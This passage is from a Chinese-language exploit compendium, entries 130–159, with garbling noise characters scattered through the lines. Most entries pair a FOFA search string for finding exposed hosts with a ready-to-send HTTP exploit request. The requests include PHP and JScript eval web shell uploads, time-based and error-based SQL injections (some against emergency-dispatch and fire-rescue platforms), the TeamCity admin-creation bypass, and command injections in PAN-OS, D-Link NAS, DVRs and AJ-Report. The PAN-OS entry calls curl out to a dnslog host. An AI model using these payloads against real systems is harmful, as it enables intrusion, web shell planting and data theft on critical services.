7 `) ]" P, ]! e8 S9 PAccept-Encoding: gzip, deflate
Connection: close
8 S- G7 U* s7 b( a  Z; k1 |+ o$ ~uuid: 85f60018-a654-4410-a783-f81cbd5000b9
( P; r, w% B; X
: T* A9 U& G; N: i9 C+ B
9 J! \2 P6 K  R3 a; y+ v7 ~130. Laykefu客服系统任意文件上传
4 A- D1 |$ u! e; D# x) UFOFA：icon_hash="-334624619"
) Z0 p2 p/ m" x$ L1 @8 qPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
/ q8 D3 m. L% x" u. ]# VAccept: application/json, text/javascript, */*; q=0.01
6 j/ \( W2 Q9 O4 \$ EX-Requested-With: XMLHttpRequest
1 b7 y5 o+ i* y. y! B/ G$ kUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ U3 n5 H( c4 o. UCookie: user_name=1; user_id=3
) J, O% _: a9 p# s  ]. B" vConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
$ o. l; K, |+ A" T. w, OContent-Type: image/png
9 N8 \6 Z  D4 t! q6 K/ e
' R2 l$ f5 w9 [. s4 \<?php phpinfo();@eval($_POST['sec']);?>
. x, ^. X! V% U! X" t1 u6 p' t$ B4 Q+ k------WebKitFormBoundary3OCVBiwBVsNuB2kR--

( B- X! [7 G* {! L
4 ~( r$ p5 b4 D131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
: t' W/ U2 Y& L后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
& }9 N+ P& F  P4 m8 g& ~8 [Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  h9 e6 @  |; x4 p/ b: L2 C. }. KAccept: */*
7 D  L$ N0 ~3 D. J  MContent-Type: application/json
Accept-Encoding: gzip, deflate
* A# N( i% n+ c2 [8 U7 C. t$ w
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
! E! ?! [& j+ a' d

CVE-2024-27199
/res/../admin/diagnostic.jsp
* j2 }% ?  H+ f. ]8 |7 Q" g9 q  M/.well-known/acme-challenge/../../admin/diagnostic.jsp
! k, h# R3 F4 @' ~  t- `/update/../admin/diagnostic.jsp
% a/ m% \/ e" r$ \9 O
* q. R0 g! I+ m: ]1 u
" z) `& D( o& u2 T) T5 LCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
# g9 e  L" j( C& f# ]: V5 ZHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

! L0 t) R& @2 x8 l% ]( Q------WebKitFormBoundaryFQqYtrIWb8iBxUCx
' T  a( L' ^4 v, G5 ]Content-Disposition: form-data; name="file"; filename="rce.php"
9 X: b3 [' y, C& m1 N7 ]% v+ e/ s( NContent-Type: application/octet-stream

' H$ u, L0 c4 V; p9 s% n<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
+ {+ X! d  X6 X  OCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
; T& d! E! l3 K0 yPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
2 i, S8 N' K9 J9 r% t% V& ACookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
5 A1 t& E0 c9 J/ r6 H$ I* Z1 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
0 g( `- I" d  I6 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& ]! N! A6 N9 H( y! {: o; X2 x$ B9 wAccept-Encoding: gzip, deflate
5 ]1 B. z2 T+ z8 o" `0 |1 Q$ G$ f: lSec-Fetch-Dest: empty
1 C6 [+ K8 s6 A* w3 NSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
7 R. _: V$ }7 cTe: trailers
+ K/ y9 K7 d$ {; d2 e3 w) EConnection: close
9 |* |- m& W3 \7 |4 hContent-Type: application/x-www-form-urlencoded
& q! G$ k2 D' h) b, G6 R4 WContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
. r, G1 R9 E1 R0 ^1 b6 Y# QNetentsec NS-ASG Application Security Gateway 6.3版本
6 e# _9 G. x9 O3 x% n" ZFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
. u  L1 _2 q/ {& V9 gHost: x.x.x.x
9 \* l0 U7 o" T4 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% l' A6 n6 C* i5 N$ E& wAccept-Language: zh-CN,zh;q=0.9
3 g2 [4 @6 G8 v) Z& D. QConnection: close


136. NextChat cors SSRF
8 t1 ?" }/ K1 c& q1 @- {CVE-2023-49785
FOFA：title="NextChat"
2 S# U1 s0 W: hGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
( n, d, V1 W* m' p2 }" PUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2 o! T# ]% `! G2 U2 [3 o1 h* [Accept: */*
* K0 \0 c$ P" a" d  G$ A" Z1 w8 bAccept-Language: en
. D' s: i' }( a7 q  eAccept-Encoding: gzip

5 @' e* j. A1 i' S) }5 v1 N9 a
137. 福建科立迅通信指挥调度平台down_file.php sql注入
- S& i! h- p( y* U8 XCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ F" Y& S: ?  }3 i5 e' bGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, W5 }9 G* z, ^  C( v. y: \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 E4 N% @/ l( E! f' C9 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
6 m5 e, c+ n5 r- kCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


4 {( S5 x3 [$ E4 l+ D) z) Z138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
- t% A, G! o6 i7 CCVE-2024-2621
& e' {: j% C/ {- x0 |* z( JFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
. P3 r$ W  c2 R" h1 m9 `0 GGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
& W; P; N- ^8 l$ pUpgrade-Insecure-Requests: 1
5 g& D+ l6 \. q: Z& ]

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
3 {; g7 u8 L# _0 [8 S! z. [+ cCVE-2024-2622
7 r- \* W: _$ S. V  I& r5 Y8 sFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
  A! C+ f3 `- U* M% `2 m  uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 b) z; l: L& X# {8 ?+ Y4 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 W, z. D  t8 Q/ [( i% G2 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 C/ i7 t; z; D5 X4 j3 uAccept-Encoding: gzip, deflate, br
Connection: close
& E, c2 c4 G+ r% h9 @- [Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
, I% B& v8 ?# V+ y1 ]. AUpgrade-Insecure-Requests: 1
: W- b2 M5 ~$ {8 q

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ B& F" J9 {: C/ M0 l( BGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ ~9 ?& x3 b  TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
  p" ~) A% v5 Y6 D( J  E# d& yUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
6 H! g: ?. L$ \) V$ B$ z* }User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

$ R* M- f7 ]4 u5 I+ ~1 [$ J
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
3 O, v6 V% ~4 i" |/ D) h$ V
' x( F' T# X+ ?# ]
142. CMSV6车辆监控平台系统中存在弱密码
2 x4 F- [# G- g& d( c* xCVE-2024-29666
- k" Y' S6 g% k. ~FOFA：body="/808gps/"
admin/admin
# [4 T: h  B- \143. Netis WF2780 v2.1.40144 远程命令执行
% P! ~3 J0 n8 m4 L; ^: MCVE-2024-25850
- J5 B% _( ~" L8 G; \% mFOFA：title='AP setup' && header='netis'
PAYLOAD

: g& l+ z8 J0 N& J. @. Y144. D-Link nas_sharing.cgi 命令注入
: `, h/ A9 B+ L" [FOFA：app="D_Link-DNS-ShareCenter"
6 v* @# [8 J9 G& e; ^system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
3 k( t7 L# ~) uUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
3 D% ?' S% u3 gAccept-Language: en
& C% L7 w8 ^% f/ i) b/ O  vAccept-Encoding: gzip
) b+ n: v( p1 r# h6 H
2 }8 M+ E4 x% t, ~/ u' W
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
) N1 {9 S" h# m8 t& YCVE-2024-3400
0 _, }9 C6 P) w' _9 \" h; Z/ F6 s2 ZFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

3 Q( r  t7 s) ?5 K' r
/ O) X' a: O* {& v7 U3 s: |0 F146. MajorDoMo thumb.php 未授权远程代码执行
! k0 [% t4 j5 e$ C9 L$ S$ g2 iCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
6 h3 U# F( B2 v( {Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

& ^7 ^& w3 |. k: O6 E
$ q2 i  ]+ h/ [+ @147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
) r( k2 M& r7 M/ g0 c" L; uCVE-2024-32399
FOFA：body="RaidenMAILD"
* n% o. _4 o- N/ z$ BGET /webeditor/../../../windows/win.ini HTTP/1.1
* ^: ]1 @7 L# e% o1 G; `1 IHost: 127.0.0.1:81
Cache-Control: max-age=0
5 M( F0 i' f4 o2 D( V+ E7 V, gConnection: close
8 L3 k7 d7 ~, l) a" C" ?4 G  s
1 W0 ?" P" \+ y+ R; {1 {
148. CrushFTP 认证绕过模板注入
- H3 L# `: p9 ~1 `+ [CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

, ^: x8 i+ v0 S7 `2 [149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

& X, F' N$ u. W- n  cPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
- m9 F( a' k2 l7 Y9 r7 ]! _: IHost: x.x.x.x
0 d7 i% f4 s1 J5 A; J& v8 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
; ^2 i4 Q$ k5 A3 m0 A) T2 P2 \, U; m0 m- zAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
' ~& n6 I9 F, R" N: ~Connection: close
; P8 M, Y' [5 k) o
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

9 s& E" O3 s' A, W  x150. AJ-Report 1.4.0 认证绕过与远程代码执行
% \6 L1 W6 ~* _3 g8 Y% \FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 Z, L+ f, V; w: L9 h5 C( r3 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
, O, A- y& O. n, b$ Y) N# s5 b& XAccept-Language: zh-CN,zh;q=0.9
7 H% j+ a- F, c3 \- H& MContent-Type: application/json;charset=UTF-8
# c& W4 j9 w7 x- K2 A* aConnection: close
/ [3 l1 q) `5 [4 RContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
$ A* V) i2 u& k3 _9 Z' o* y# ^% }' Y; j

151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
( f" J6 M: S8 \' p, nGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
% W! G( u; i" e& m3 S0 `Host: x.x.x.x
/ p" H. n6 A2 [( ^1 u2 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
- i7 F  v* P2 D& O! s' o- B; H

152. Progress Kemp LoadMaster 远程命令执行
) ?$ m: `9 D, u* U0 O# D" i) a+ FCVE-2024-1212
' l  Q& t6 Y  KLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
' @( X- i) b! A$ B& hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
/ w+ p  J6 A/ o7 P  c+ iAccept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
! N' y# U3 y; B- @& ^; D第一步，请求/config文件获取componets的id
http://x.x.x.x/config

/ H. R- U' d1 F- T! J7 i6 `: d
2 m# t% ?$ r# D% [8 `* N第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
* h* s* u7 G) y3 i; ]* kHost: x.x.x.x
. f2 j( g+ M! z' Q- x, k5 s9 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
9 s% e% L" y" F2 k; w  o4 BContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
5 x* B* g" m& B7 W
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

: }9 S4 X6 d( f2 E  D1 ]
第三步访问
  \2 [! V0 d" M% A9 H( Qhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
' L# C3 t# x* f

  y  E- l" z' @4 N5 M8 Z8 w154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
0 i7 Y* _, P3 E7 _8 D+ {Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
0 t) i: v& g1 AOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
/ }9 y$ {$ q5 E8 e1 V+ e6 TConnection: close

. }: `( G+ d3 I; e{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
* h4 N9 L3 ]+ B2 c7 v0 w1 h* aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
8 E; u# ]( k; ~, Y' G+ q7 W  rX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
: Y; k5 W5 X- G; {Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

2 l& Y- S; s0 T<?php phpinfo();unlink(__FILE__);?>
8 R$ r3 m& F+ r6 h0 c3 N0 ?- ]-----------------------------qttl7vemrsold314zg0f--


访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
$ b3 A7 b* ]% c0 T
2 ]( i8 S3 D" ?" e2 o$ ]- S6 U156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
$ z: n" N- D# m& BFOFA："Location: /login.rsp"
, i) U5 Q% H4 }" x4 r·TBK DVR-4104
0 |7 }, j5 w# f- G1 d/ Y·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

3 T& w5 b+ _+ ?; D6 ]- S7 X: M* b
$ R4 ~4 q2 f7 }/ t% i- y3 WPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
$ X9 S- T  u0 J4 o; L, O' ]# fHost: x.x.x.x
4 {) }* ^+ h8 R3 E3 E$ B0 oUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. F/ _7 h, w6 k& \Content-Length: 0
Cookie: uid=1
( k# d6 d4 A: ?7 CAccept-Encoding: gzip

7 x- p, z# }  }+ q0 [% I/ h; T
157. 美特CRM upload.jsp 任意文件上传
, R) X: A: _% f3 e5 q1 t, l; U& ICNVD-2023-06971
' ]4 ^% K0 a5 _! I; pFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
. F3 w2 J) y) O: P) H! FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 R) j2 W' S$ f" n/ t" rCache-Control: max-age=0
) G7 b$ O, T, [5 D8 m; dConnection: close
) d% T6 {- R( {, X) bContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

/ Y+ Q4 C/ \. u/ S- d; f6 W  E------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
) A1 k0 P- |$ a' J4 DContent-Type: application/octet-stream
6 g) Q- K8 g" Y3 L7 _1 D$ j" J
nyhelxrutzwhrsvsrafb
+ ]) ?; N7 K6 a------WebKitFormBoundary1imovELzPsfzp5dN
% k0 C% b+ P: }/ [9 j; mContent-Disposition: form-data; name="key"

null
* P- n: \7 J* C# t6 L------WebKitFormBoundary1imovELzPsfzp5dN
3 ^6 L) g$ a! G! gContent-Disposition: form-data; name="form"

4 X* Q+ f7 d6 K5 y( D) Z" _, K) ?& _! Snull
( x" N7 ~. A( w  b------WebKitFormBoundary1imovELzPsfzp5dN
. X8 u- N( _0 C9 M2 ^Content-Disposition: form-data; name="field"
# t4 R3 A/ }5 d" ~9 C
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

- S/ l$ i- M3 cnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
; ?" j/ q2 J: C' q7 |
null
5 r$ D' T. A/ d3 c* X------WebKitFormBoundary1imovELzPsfzp5dN--
' Z4 ^5 W$ h  U
% z% U1 R* a" B0 l; ~
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
( ~2 _. o& [# g* x' V  k& _3 Q; ~FOFA："Generator: Masa CMS"
! N8 a+ ?9 T4 P! i2 Y" XPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
$ N& \7 \' z. s$ dHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

6 c1 n  B$ c! N- A3 }; U, `+ e( ~object=displayregion&contenthistid=x\'&previewid=1

, v& b6 Q* t: `4 ^
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
9 ~+ f. j2 z1 K" r+ P: mContent-Length: 1080
Accept-Encoding: gzip, deflate
% I9 }% w" Y. }- e& M2 qConnection: close
# Y6 {) }4 ]' y; _) T- oContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
/ B7 l/ ~- G: A) D. `9 i: t: d<vcode>1</vcode>
/ [- Q  E9 v9 Z<subFolder></subFolder>
) q! x8 m( }5 c/ C, d  m<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
1 a; X& V5 f, H8 Q</soap:Body>
